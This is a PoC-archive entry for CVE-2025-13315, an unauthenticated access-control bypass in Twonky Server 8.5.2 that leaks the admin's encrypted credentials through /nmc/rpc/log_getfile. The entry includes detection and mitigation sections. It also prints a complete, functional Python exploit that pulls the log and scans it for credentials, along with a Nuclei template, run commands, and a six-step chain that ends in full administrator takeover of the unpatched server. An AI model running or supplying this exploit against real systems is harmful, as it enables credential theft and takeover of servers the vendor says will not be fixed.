PoC Archive PoC Archive
Critical CVE-2025-13315 unpatched

Twonky Server 8.5.2 Unauthenticated `/nmc/rpc/` Auth Bypass & Admin Credential Log Leak (CVE-2025-13315)

by 0xBlackash (PoC/template); vulnerability discovered by Rapid7 · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-13315
Category
network
Affected product
Twonky Server (Lynx Technology), a DLNA/UPnP media server
Affected versions
8.5.2 (Linux & Windows builds); per source repository, no official patch is available
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researcher0xBlackash (PoC/template); vulnerability discovered by Rapid7
CVE / AdvisoryCVE-2025-13315
Categorynetwork
SeverityCritical
CVSS Score9.8 (per NVD; the source repo cites CVSS v4.0 9.3 — see Notes)
StatusPoC
Tagstwonky-server, dlna, upnp, media-server, auth-bypass, access-control, information-disclosure, credential-leak, cwe-284, unauthenticated, nuclei
RelatedCVE-2025-13316 (hardcoded Blowfish encryption key used to decrypt the leaked password)

Affected Target

FieldValue
Software / SystemTwonky Server (Lynx Technology), a DLNA/UPnP media server
Versions Affected8.5.2 (Linux & Windows builds); per source repository, no official patch is available
Language / PlatformPoC written in Python 3 (requests) plus a Nuclei YAML template; target itself is a native Twonky Server binary on Linux/Windows
Authentication RequiredNo
Network Access RequiredYes (HTTP access to the Twonky Server management interface)

Summary

CVE-2025-13315 is a critical access-control flaw in Twonky Server 8.5.2 discovered by Rapid7: an earlier fix restricted unauthenticated access to the /rpc/ endpoint prefix, but the equivalent /nmc/rpc/ routing path was left unprotected, so privileged RPC methods remain reachable without authentication through that alternate path. In particular, GET /nmc/rpc/log_getfile returns the full application log, which contains the administrator’s username and Blowfish-encrypted password (accessuser=/accesspwd= lines). Combined with CVE-2025-13316 (hardcoded Blowfish encryption keys), an attacker can decrypt these credentials and obtain full administrative control of the media server, including all stored media and the ability to reconfigure or shut down the device. The vendor has stated no patch is currently available.


Vulnerability Details

Root Cause

Twonky Server enforces authentication on RPC calls made through the /rpc/ path prefix, but the same privileged handlers (including log_getfile) are also reachable through an alternate /nmc/rpc/ prefix that was never wired up to the same auth check — a classic alternate-path/forgotten-endpoint access-control bypass (CWE-284: Improper Access Control). The Nuclei template in this repo targets both paths:

1
2
3
4
5
http:
  - method: GET
    path:
      - "{{BaseURL}}/nmc/rpc/log_getfile"
      - "{{BaseURL}}/rpc/log_getfile"

Attack Vector

  1. Attacker sends an unauthenticated GET /nmc/rpc/log_getfile request to the target Twonky Server instance.
  2. Because the /nmc/rpc/ prefix bypasses the authentication check that guards /rpc/, the server returns HTTP 200 with the full application log body (often hundreds of KB).
  3. The log body contains lines such as accessuser=admin and accesspwd=<encrypted_password> (Blowfish-encrypted), along with other operational log data.
  4. The attacker extracts the accessuser/accesspwd values from the response using simple keyword/regex matching.
  5. Using the hardcoded Blowfish key from the paired vulnerability CVE-2025-13316, the attacker decrypts accesspwd to recover the plaintext admin password.
  6. The attacker logs in as administrator, gaining full control over the media server (browse/modify/delete media, change configuration, or shut the server down).

Impact

  • Leak of the administrator username and encrypted password from an unauthenticated request.
  • Full administrator takeover of the media server when chained with CVE-2025-13316.
  • Complete control over all stored/indexed media files.
  • Remote server shutdown or reconfiguration, and potential downstream data exfiltration or ransomware deployment on connected storage.

Environment / Lab Setup

Target:   Twonky Server 8.5.2 (Linux or Windows), management/API interface reachable over HTTP (default port 9000)
Attacker: Python 3 with `requests` (pip install requests), or Nuclei (for CVE-2025-13315.yaml template)

Proof of Concept

PoC Script

See CVE-2025-13315.py (Python PoC) and CVE-2025-13315.yaml (Nuclei template) in this folder.

1
2
3
python3 CVE-2025-13315.py http://TARGET:9000 -o twonky_leaked_log.txt

nuclei -t CVE-2025-13315.yaml -u http://TARGET:9000

Detection & Indicators of Compromise

GET /nmc/rpc/log_getfile HTTP/1.1
Host: <target>

-> HTTP/1.1 200 OK
   Body: large (~100KB+) application log containing
     accessuser=admin
     accesspwd=<blowfish-encrypted-hex>

Signs of compromise:

  • Inbound unauthenticated GET requests to /nmc/rpc/log_getfile or other /nmc/rpc/* paths in web server / reverse proxy logs.
  • Unusually large (tens to hundreds of KB) 200 OK responses to requests that never presented credentials.
  • Subsequent successful admin logins from unfamiliar source IPs shortly after such a request.
  • Unexpected changes to media library configuration or unexplained server shutdowns/restarts.

Remediation

ActionDetail
Primary fixNo official patch identified at time of mirroring — Lynx Technology has stated no fix is planned; monitor vendor channels for an update.
Interim mitigationPlace Twonky Server behind a reverse proxy/WAF and explicitly block /nmc/rpc/* (especially /nmc/rpc/log_getfile); never expose the management interface directly to the internet; rotate the admin password if the interface may have been reachable; consider migrating to an actively maintained DLNA/UPnP media server (e.g., Jellyfin, Plex, Emby).

References


Notes

Mirrored from https://github.com/0xBlackash/CVE-2025-13315 on 2026-07-06. Consists of CVE-2025-13315.py plus a Nuclei YAML template targeting the Twonky Server auth-bypass endpoint; templated in presentation but the underlying request/extraction logic is real and functional. The repository’s own README cites a CVSS v4.0 score of 9.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H); this entry lists 9.8 per the archive’s tracked NVD figure — treat the exact numeric score as approximate pending direct NVD confirmation.

CVE-2025-13315.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
"""
Safe PoC for CVE-2025-13315 - Twonky Server 8.5.2 Authentication Bypass (Log Leak)
Only leaks the log file via /nmc/rpc/log_getfile. Educational use only.
"""

import sys
import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning

# Suppress SSL warnings (many Twonky instances use self-signed certs)
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def main():
    parser = argparse.ArgumentParser(description="Safe PoC for CVE-2025-13315 (Twonky Log Leak)")
    parser.add_argument("target", help="Target URL or IP (e.g., http://192.168.1.100:9000)")
    parser.add_argument("-o", "--output", default="twonky_leaked_log.txt", help="Output file name")
    parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds")
    args = parser.parse_args()

    # Normalize target URL
    url = args.target.rstrip("/")
    if not url.startswith("http"):
        url = "http://" + url

    vulnerable_endpoint = f"{url}/nmc/rpc/log_getfile"

    print(f"[+] Targeting: {url}")
    print(f"[+] Sending request to vulnerable endpoint: /nmc/rpc/log_getfile")

    try:
        response = requests.get(
            vulnerable_endpoint,
            timeout=args.timeout,
            verify=False,          # Many embedded devices use self-signed certs
            headers={"User-Agent": "Mozilla/5.0 (compatible; CVE-2025-13315-PoC)"}
        )

        print(f"[+] HTTP Status: {response.status_code}")

        if response.status_code != 200:
            print("[-] Non-200 response. Target may not be vulnerable or endpoint is blocked.")
            print(response.text[:500])  # Show first part for debugging
            sys.exit(1)

        # Save the full log
        with open(args.output, "w", encoding="utf-8", errors="ignore") as f:
            f.write(response.text)

        print(f"[+] Success! Leaked log saved to: {args.output}")
        print(f"[+] File size: {len(response.text)} bytes")

        # Simple heuristic to highlight possible credentials
        print("\n[+] Scanning for potential admin credentials in log...")
        lines = response.text.splitlines()
        for i, line in enumerate(lines):
            lower = line.lower()
            if any(kw in lower for kw in ["admin", "password", "passwd", "user=", "pass=", "encrypted"]):
                print(f"    Line {i+1:4d}: {line.strip()[:120]}")

        print("\n[!] Next step (CVE-2025-13316): Decrypt the encrypted password using the hardcoded Blowfish keys.")
        print("    Do NOT do this on unauthorized targets.")

    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
    except Exception as e:
        print(f"[-] Unexpected error: {e}")

if __name__ == "__main__":
    print("=== Safe PoC for CVE-2025-13315 (Twonky Server Log Leak) ===\n")
    main()